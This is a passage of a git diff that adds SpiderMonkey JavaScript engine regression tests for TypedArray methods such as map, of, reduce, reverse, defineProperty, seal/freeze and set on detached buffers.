+ var modifiedSpecies = new constructor(from);
+ modifiedSpecies.constructor = { [Symbol.species]: constructor2 };
+ assertDeepEq(modifiedSpecies.map(x => x * 2), new constructor2(to));
+}
+
+// same size, same sign
+
+test(Int8Array, Uint8Array);
+test(Int8Array, Uint8ClampedArray);
+
+test(Uint8Array, Int8Array);
+test(Uint8Array, Uint8ClampedArray);
+
+test(Uint8ClampedArray, Int8Array);
+test(Uint8ClampedArray, Uint8Array);
+
+test(Int16Array, Uint16Array);
+test(Uint16Array, Int16Array);
+
+test(Int32Array, Uint32Array);
+test(Uint32Array, Int32Array);
+
+// same size, different sign
+
+test(Int8Array, Uint8Array, [-1, -2, -3, -4, -5], [0xFE, 0xFC, 0xFA, 0xF8, 0xF6]);
+test(Int8Array, Uint8ClampedArray, [-1, -2, -3, -4, -5], [0, 0, 0, 0, 0]);
+
+test(Uint8Array, Int8Array, [0xFF, 0xFE, 0xFD, 0xFC, 0xFB], [-2, -4, -6, -8, -10]);
+test(Uint8ClampedArray, Int8Array, [0xFF, 0xFE, 0xFD, 0xFC, 0xFB], [-2, -4, -6, -8, -10]);
+
+test(Int16Array, Uint16Array, [-1, -2, -3, -4, -5], [0xFFFE, 0xFFFC, 0xFFFA, 0xFFF8, 0xFFF6]);
+test(Uint16Array, Int16Array, [0xFFFF, 0xFFFE, 0xFFFD, 0xFFFC, 0xFFFB], [-2, -4, -6, -8, -10]);
+
+test(Int32Array, Uint32Array, [-1, -2, -3, -4, -5], [0xFFFFFFFE, 0xFFFFFFFC, 0xFFFFFFFA, 0xFFFFFFF8, 0xFFFFFFF6]);
+test(Uint32Array, Int32Array, [0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFC, 0xFFFFFFFB], [-2, -4, -6, -8, -10]);
+
+// different size
+
+test(Uint8Array, Uint16Array);
+test(Uint16Array, Uint8Array);
+
+test(Uint8Array, Uint32Array);
+test(Uint32Array, Uint8Array);
+
+test(Uint16Array, Uint32Array);
+test(Uint32Array, Uint16Array);
+
+test(Float32Array, Float64Array);
+test(Float64Array, Float32Array);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/map-validation.js b/js/src/tests/non262/TypedArray/map-validation.js
new file mode 100644
index 0000000000..1694ef50cb
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/map-validation.js
@@ -0,0 +1,149 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.prototype.map.
+
+const otherGlobal = typeof newGlobal === "function" ? newGlobal() : undefined;
+const typedArrayLengths = [0, 1, 1024];
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.prototype.map,
+ error: TypeError,
+ });
+ if (otherGlobal) {
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.prototype.map,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].prototype.map,
+ error: otherGlobal.TypeError,
+ });
+ }
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, () => 123), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is too small.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function TooSmallConstructor(length) {
+ let a = new TAConstructor(Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ function TooSmallConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooSmallConstructor, TooSmallConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+
+ // Passes when the length is zero.
+ if (length === 0) {
+ let result = method.call(ta, () => 123);
+ assertEq(result.length, 0);
+ } else {
+ assertThrowsInstanceOf(() => method.call(ta, () => 123), error);
+ }
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// No exception when array is larger than requested.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ const extraLength = 1;
+
+ let callCount = 0, expectedCallCount = 0;
+ function TooLargeConstructor(length) {
+ let a = new TAConstructor(length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ function TooLargeConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooLargeConstructor, TooLargeConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, () => 123);
+ assertEq(result.length, length + extraLength);
+ assertEq(result[0], (length === 0 ? 0 : 123));
+ assertEq(result[length + extraLength - 1], 0);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ otherGlobal.detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, () => 123), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/object-defineproperty.js b/js/src/tests/non262/TypedArray/object-defineproperty.js
new file mode 100644
index 0000000000..b19f76b845
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/object-defineproperty.js
@@ -0,0 +1,68 @@
+var obj = new Int32Array(2);
+obj[0] = 100;
+
+var throws = [
+ // Disallow accessors
+ {get: undefined},
+ {set: undefined},
+ {get: undefined, set: undefined},
+ {get: function() {}},
+ {set: function() {}},
+ {get: function() {}, set: function() {}},
+
+ {configurable: false},
+ {enumerable: false},
+ {writable: false},
+
+ {configurable: false, writable: true},
+ {enumerable: false, configurable: false},
+
+ {configurable: false, value: 15}
+];
+
+for (var desc of throws) {
+ assertThrowsInstanceOf(function() { Object.defineProperty(obj, 0, desc); }, TypeError);
+ assertThrowsInstanceOf(function() { Object.defineProperties(obj, {0: desc}); }, TypeError);
+}
+
+Object.defineProperty(obj, 0, {});
+Object.defineProperty(obj, 0, {configurable: true});
+Object.defineProperty(obj, 0, {enumerable: true});
+Object.defineProperty(obj, 0, {writable: true});
+
+assertEq(obj[0], 100);
+
+Object.defineProperty(obj, 0, {configurable: true, value: 15});
+assertEq(obj[0], 15);
+Object.defineProperty(obj, 0, {enumerable: true, value: 16});
+assertEq(obj[0], 16);
+Object.defineProperty(obj, 0, {writable: true, value: 17});
+assertEq(obj[0], 17);
+Object.defineProperty(obj, 0, {value: 18});
+assertEq(obj[0], 18);
+
+var desc = Object.getOwnPropertyDescriptor(obj, 0);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, 18);
+assertEq('get' in desc, false);
+assertEq('set' in desc, false);
+
+Object.defineProperties(obj, {0: {value: 20}, 1: {value: 42}});
+assertEq(obj[0], 20);
+assertEq(obj[1], 42);
+
+anyTypedArrayConstructors.forEach(constructor => {
+ var obj = new constructor(4);
+ obj[0] = 100;
+ obj[1] = 200;
+
+ for (var v of [20, 300, -10, Math.pow(2, 32), -Math.pow(2, 32), NaN]) {
+ Object.defineProperty(obj, 0, {value: v});
+ obj[1] = v;
+ assertEq(obj[0], obj[1]);
+ }
+});
+
+reportCompare(true, true, "test");
diff --git a/js/src/tests/non262/TypedArray/of-validation.js b/js/src/tests/non262/TypedArray/of-validation.js
new file mode 100644
index 0000000000..e7ab905195
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/of-validation.js
@@ -0,0 +1,140 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.of.
+
+const otherGlobal = typeof newGlobal === "function" ? newGlobal() : undefined;
+const typedArrayArgs = [[], [123], [123, ...Array(1023).fill(0)]];
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.of,
+ error: TypeError,
+ });
+ if (otherGlobal) {
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.of,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].of,
+ error: otherGlobal.TypeError,
+ });
+ }
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ assertThrowsInstanceOf(() => method.call(species, ...args), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is too small.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function TooSmallConstructor(length) {
+ let a = new TAConstructor(Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ function TooSmallConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooSmallConstructor, TooSmallConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ // Passes when the length is zero.
+ if (args.length === 0) {
+ let result = method.call(species, ...args);
+ assertEq(result.length, 0);
+ } else {
+ assertThrowsInstanceOf(() => method.call(species, ...args), error);
+ }
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// No exception when array is larger than requested.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ const extraLength = 1;
+
+ let callCount = 0, expectedCallCount = 0;
+ function TooLargeConstructor(length) {
+ let a = new TAConstructor(length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ function TooLargeConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooLargeConstructor, TooLargeConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ let result = method.call(species, ...args);
+ assertEq(result.length, args.length + extraLength);
+ assertEq(result[0], (args.length === 0 ? 0 : 123));
+ assertEq(result[args.length + extraLength - 1], 0);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ otherGlobal.detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ assertThrowsInstanceOf(() => method.call(species, ...args), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/of.js b/js/src/tests/non262/TypedArray/of.js
new file mode 100644
index 0000000000..af9c112023
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/of.js
@@ -0,0 +1,92 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.of.length, 0);
+
+ assertDeepEq(Object.getOwnPropertyDescriptor(constructor.__proto__, "of"), {
+ value: constructor.of,
+ writable: true,
+ enumerable: false,
+ configurable: true
+ });
+
+ // Basic tests.
+ assertEq(constructor.of().constructor, constructor);
+ assertEq(constructor.of() instanceof constructor, true);
+ assertDeepEq(constructor.of(10), new constructor([10]));
+ assertDeepEq(constructor.of(1, 2, 3), new constructor([1, 2, 3]));
+ assertDeepEq(constructor.of("1", "2", "3"), new constructor([1, 2, 3]));
+
+ // This method can't be transplanted to other constructors.
+ assertThrowsInstanceOf(() => constructor.of.call(Array), TypeError);
+ assertThrowsInstanceOf(() => constructor.of.call(Array, 1, 2, 3), TypeError);
+
+ var hits = 0;
+ assertDeepEq(constructor.of.call(function(len) {
+ assertEq(arguments.length, 1);
+ assertEq(len, 3);
+ hits++;
+ return new constructor(len);
+ }, 10, 20, 30), new constructor([10, 20, 30]));
+ assertEq(hits, 1);
+
+ // Behavior across compartments.
+ if (typeof newGlobal === "function") {
+ var newC = newGlobal()[constructor.name];
+ assertEq(newC.of() instanceof newC, true);
+ assertEq(newC.of() instanceof constructor, false);
+ assertEq(newC.of.call(constructor) instanceof constructor, true);
+ }
+
+ // Throws if `this` isn't a constructor.
+ var invalidConstructors = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ constructor.of, () => {}];
+ invalidConstructors.forEach(C => {
+ assertThrowsInstanceOf(() => {
+ constructor.of.call(C);
+ }, TypeError);
+ });
+
+ // Throw if `this` is a method definition or a getter/setter function.
+ assertThrowsInstanceOf(() => {
+ constructor.of.call({method() {}}.method);
+ }, TypeError);
+ assertThrowsInstanceOf(() => {
+ constructor.of.call(Object.getOwnPropertyDescriptor({get getter() {}}, "getter").get);
+ }, TypeError);
+
+ // Generators are not legal constructors.
+ assertThrowsInstanceOf(() => {
+ constructor.of.call(function*(len) {
+ return len;
+ }, "a")
+ }, TypeError);
+
+ // An exception might be thrown in a strict assignment to the new object's indexed properties.
+ assertThrowsInstanceOf(() => {
+ constructor.of.call(function() {
+ return {get 0() {}};
+ }, "a");
+ }, TypeError);
+
+ assertThrowsInstanceOf(() => {
+ constructor.of.call(function() {
+ return Object("1");
+ }, "a");
+ }, TypeError);
+
+ assertThrowsInstanceOf(() => {
+ constructor.of.call(function() {
+ return Object.create({
+ set 0(v) {
+ throw new TypeError;
+ }
+ });
+ }, "a");
+ }, TypeError);
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ assertDeepEq(constructor.of(0.1, null, undefined, NaN), new constructor([0.1, 0, NaN, NaN]));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/prototype-constructor-identity.js b/js/src/tests/non262/TypedArray/prototype-constructor-identity.js
new file mode 100644
index 0000000000..10324f5720
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/prototype-constructor-identity.js
@@ -0,0 +1,55 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var gTestfile = 'prototype-constructor-identity.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 896116;
+var summary =
+ "Typed array prototypes/constructors should be largely empty, inheriting "
+ "most functionality from %TypedArray% and %TypedArray%.prototype";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var TypedArray = Object.getPrototypeOf(Int8Array);
+
+assertEq(TypedArray !== Function.prototype, true,
+ "%TypedArray% should be in constructors' [[Prototype]] chains");
+assertEq(Object.getPrototypeOf(TypedArray), Function.prototype,
+ "%TypedArray%.prototype should inherit from Function.prototype");
+
+assertEq(TypedArray.prototype.constructor, TypedArray,
+ "bad %TypedArray%.prototype.constructor");
+
+// Check a few different functions we implement are here, as a sanity check.
+var typedArrayProps = Object.getOwnPropertyNames(TypedArray.prototype);
+assertEq(typedArrayProps.indexOf("copyWithin") >= 0, true);
+assertEq(typedArrayProps.indexOf("subarray") >= 0, true);
+assertEq(typedArrayProps.indexOf("set") >= 0, true);
+
+anyTypedArrayConstructors.forEach(function(ctor) {
+ assertEq(Object.getPrototypeOf(ctor), TypedArray);
+
+ var proto = ctor.prototype;
+
+ // Inherited functions aren't present.
+ var props = Object.getOwnPropertyNames(proto).sort();
+ assertEq(props[0], "BYTES_PER_ELEMENT");
+ assertEq(props[1], "constructor");
+ assertEq(props.length, 2);
+
+ // The inheritance chain should be set up properly.
+ assertEq(Object.getPrototypeOf(proto), TypedArray.prototype,
+ "prototype should inherit from %TypedArray%.prototype");
+});
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/TypedArray/reduce-and-reduceRight.js b/js/src/tests/non262/TypedArray/reduce-and-reduceRight.js
new file mode 100644
index 0000000000..21a7d99e90
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/reduce-and-reduceRight.js
@@ -0,0 +1,188 @@
+// Tests for TypedArray#reduce.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.reduce.length, 1);
+
+ // Basic tests.
+ var arr = new constructor([1, 2, 3, 4, 5]);
+
+ assertEq(arr.reduce((previous, current) => previous + current), 15);
+ assertEq(arr.reduce((previous, current) => current - previous), 3);
+
+ var count = 0;
+ var sum = 0;
+ assertEq(arr.reduce((previous, current, index, array) => {
+ count++;
+ sum += current;
+ assertEq(current - 1, index);
+ assertEq(current, arr[index]);
+ assertEq(array, arr);
+ return previous * current;
+ }), 120);
+ assertEq(count, 4);
+ assertEq(sum, 14);
+
+ // Tests for `initialValue` argument.
+ assertEq(arr.reduce((previous, current) => previous + current, -15), 0);
+ assertEq(arr.reduce((previous, current) => previous + current, ""), "12345");
+ assertDeepEq(arr.reduce((previous, current) => previous.concat(current), []), [1, 2, 3, 4, 5]);
+
+ // Tests for `this` value.
+ var global = this;
+ arr.reduce(function(){
+ assertEq(this, global);
+ });
+ arr.reduce(function(){
+ "use strict";
+ assertEq(this, undefined);
+ });
+ arr.reduce(() => assertEq(this, global));
+
+ // Throw an exception in the callback.
+ var count = 0;
+ var sum = 0;
+ assertThrowsInstanceOf(() => {
+ arr.reduce((previous, current, index, array) => {
+ count++;
+ sum += current;
+ if (index === 3) {
+ throw TypeError("reduce");
+ }
+ })
+ }, TypeError);
+ assertEq(count, 3);
+ assertEq(sum, 9);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.reduce();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.reduce(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.reduce(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var reduce = newGlobal()[constructor.name].prototype.reduce;
+ assertEq(reduce.call(arr, (previous, current) => Math.min(previous, current)), 1);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(3), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.reduce.call(invalidReceiver, () => {});
+ }, TypeError, "Assert that reduce fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(arr, "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).reduce((previous, current) => Math.max(previous, current)), 5);
+}
+
+// Tests for TypedArray#reduceRight.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.reduceRight.length, 1);
+
+ // Basic tests.
+ var arr = new constructor([1, 2, 3, 4, 5]);
+
+ assertEq(arr.reduceRight((previous, current) => previous + current), 15);
+ assertEq(arr.reduceRight((previous, current) => current - previous), 3);
+
+ var count = 0;
+ var sum = 0;
+ assertEq(arr.reduceRight((previous, current, index, array) => {
+ count++;
+ sum += current;
+ assertEq(current - 1, index);
+ assertEq(current, arr[index]);
+ assertEq(array, arr);
+ return previous * current;
+ }), 120);
+ assertEq(count, 4);
+ assertEq(sum, 10);
+
+ // Tests for `initialValue` argument.
+ assertEq(arr.reduceRight((previous, current) => previous + current, -15), 0);
+ assertEq(arr.reduceRight((previous, current) => previous + current, ""), "54321");
+ assertDeepEq(arr.reduceRight((previous, current) => previous.concat(current), []), [5, 4, 3, 2, 1]);
+
+ // Tests for `this` value.
+ var global = this;
+ arr.reduceRight(function(){
+ assertEq(this, global);
+ });
+ arr.reduceRight(function(){
+ "use strict";
+ assertEq(this, undefined);
+ });
+ arr.reduceRight(() => assertEq(this, global));
+
+ // Throw an exception in the callback.
+ var count = 0;
+ var sum = 0;
+ assertThrowsInstanceOf(() => {
+ arr.reduceRight((previous, current, index, array) => {
+ count++;
+ sum += current;
+ if (index === 1) {
+ throw TypeError("reduceRight");
+ }
+ })
+ }, TypeError);
+ assertEq(count, 3);
+ assertEq(sum, 9);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.reduceRight();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.reduceRight(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.reduceRight(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var reduceRight = newGlobal()[constructor.name].prototype.reduceRight;
+ assertEq(reduceRight.call(arr, (previous, current) => Math.min(previous, current)), 1);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(3), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.reduceRight.call(invalidReceiver, () => {});
+ }, TypeError, "Assert that reduceRight fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(arr, "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).reduceRight((previous, current) => Math.max(previous, current)), 5);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/reverse.js b/js/src/tests/non262/TypedArray/reverse.js
new file mode 100644
index 0000000000..f8146506c6
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/reverse.js
@@ -0,0 +1,38 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertDeepEq(constructor.prototype.reverse.length, 0);
+
+ assertDeepEq(new constructor().reverse(), new constructor());
+ assertDeepEq(new constructor(10).reverse(), new constructor(10));
+ assertDeepEq(new constructor([]).reverse(), new constructor([]));
+ assertDeepEq(new constructor([1]).reverse(), new constructor([1]));
+ assertDeepEq(new constructor([1, 2]).reverse(), new constructor([2, 1]));
+ assertDeepEq(new constructor([1, 2, 3]).reverse(), new constructor([3, 2, 1]));
+ assertDeepEq(new constructor([1, 2, 3, 4]).reverse(), new constructor([4, 3, 2, 1]));
+ assertDeepEq(new constructor([1, 2, 3, 4, 5]).reverse(), new constructor([5, 4, 3, 2, 1]));
+ assertDeepEq(new constructor([.1, .2, .3]).reverse(), new constructor([.3, .2, .1]));
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var reverse = newGlobal()[constructor.name].prototype.reverse;
+ assertDeepEq(reverse.call(new constructor([3, 2, 1])), new constructor([1, 2, 3]));
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.reverse.call(invalidReceiver);
+ }, TypeError, "Assert that reverse fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).reverse();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/seal-and-freeze.js b/js/src/tests/non262/TypedArray/seal-and-freeze.js
new file mode 100644
index 0000000000..f90efb866f
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/seal-and-freeze.js
@@ -0,0 +1,49 @@
+"use strict";
+
+// Seal
+assertEq(Object.isSealed(new Int32Array(2)), false);
+assertEq(Object.isSealed(new Int32Array(0)), false);
+
+var array = new Int32Array(0);
+Object.preventExtensions(array);
+assertEq(Object.isSealed(array), true);
+
+// Non-empty typed arrays can never be sealed, because the elements stay configurable.
+array = new Int32Array(1);
+array.b = "test";
+Object.preventExtensions(array);
+assertEq(Object.isSealed(array), false);
+Object.defineProperty(array, "b", {configurable: false});
+assertEq(Object.isSealed(array), false);
+
+array = new Int32Array(2);
+array.b = "test";
+assertThrowsInstanceOf(() => Object.seal(array), TypeError);
+assertEq(Object.isSealed(array), false);
+assertThrowsInstanceOf(() => array.c = 15, TypeError);
+
+// Freeze
+assertEq(Object.isFrozen(new Int32Array(2)), false);
+assertEq(Object.isFrozen(new Int32Array(0)), false);
+
+// Empty non-extensible typed-array is trivially frozen
+var array = new Int32Array(0);
+Object.preventExtensions(array);
+assertEq(Object.isFrozen(array), true);
+
+array = new Int32Array(0);
+array.b = "test";
+assertEq(Object.isFrozen(array), false);
+Object.preventExtensions(array);
+assertEq(Object.isFrozen(array), false);
+Object.defineProperty(array, "b", {configurable: false, writable: false});
+assertEq(Object.isFrozen(array), true);
+
+// Non-empty typed arrays can never be frozen, because the elements stay writable
+array = new Int32Array(1);
+assertThrowsInstanceOf(() => Object.freeze(array), TypeError);
+assertEq(Object.isExtensible(array), false);
+assertEq(Object.isFrozen(array), false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/set-detached-bigint.js b/js/src/tests/non262/TypedArray/set-detached-bigint.js
new file mode 100644
index 0000000000..c54f4b867f
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/set-detached-bigint.js
@@ -0,0 +1,19 @@
+let ta = new BigInt64Array(10);
+
+let obj = {
+ get length() {
+ detachArrayBuffer(ta.buffer);
+ return 1;
+ },
+ 0: {
+ valueOf() {
+ return "huzzah!";
+ }
+ },
+};
+
+// Throws a SyntaxError, because "huzzah!" can't be parsed as a BigInt.
+assertThrowsInstanceOf(() => ta.set(obj), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/set-detached.js b/js/src/tests/non262/TypedArray/set-detached.js
new file mode 100644
index 0000000000..4f9226c608
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/set-detached.js
@@ -0,0 +1,265 @@
+// Tests for detached ArrayBuffer checks in %TypedArray%.prototype.set(array|typedArray, offset).
+
+function* createTypedArrays(lengths = [0, 1, 4, 4096]) {
+ for (let length of lengths) {
+ let buffer = new ArrayBuffer(length * Int32Array.BYTES_PER_ELEMENT);
+ let typedArray = new Int32Array(buffer);
+
+ yield {typedArray, buffer};
+ }
+}
+
+if (typeof detachArrayBuffer === "function") {
+ class ExpectedError extends Error {}
+
+ // No detached check on function entry.
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ detachArrayBuffer(buffer);
+
+ assertThrowsInstanceOf(() => typedArray.set(null, {
+ valueOf() {
+ throw new ExpectedError();
+ }
+ }), ExpectedError);
+ }
+
+ // Check for detached buffer after calling ToInteger(offset). Test with:
+ // - valid offset,
+ // - too large offset,
+ // - and negative offset.
+ for (let [offset, error] of [[0, TypeError], [1000000, TypeError], [-1, RangeError]]) {
+ for (let source of [[], [0], new Int32Array(0), new Int32Array(1)]) {
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ assertThrowsInstanceOf(() => typedArray.set(source, {
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return offset;
+ }
+ }), error);
+ }
+ }
+ }
+
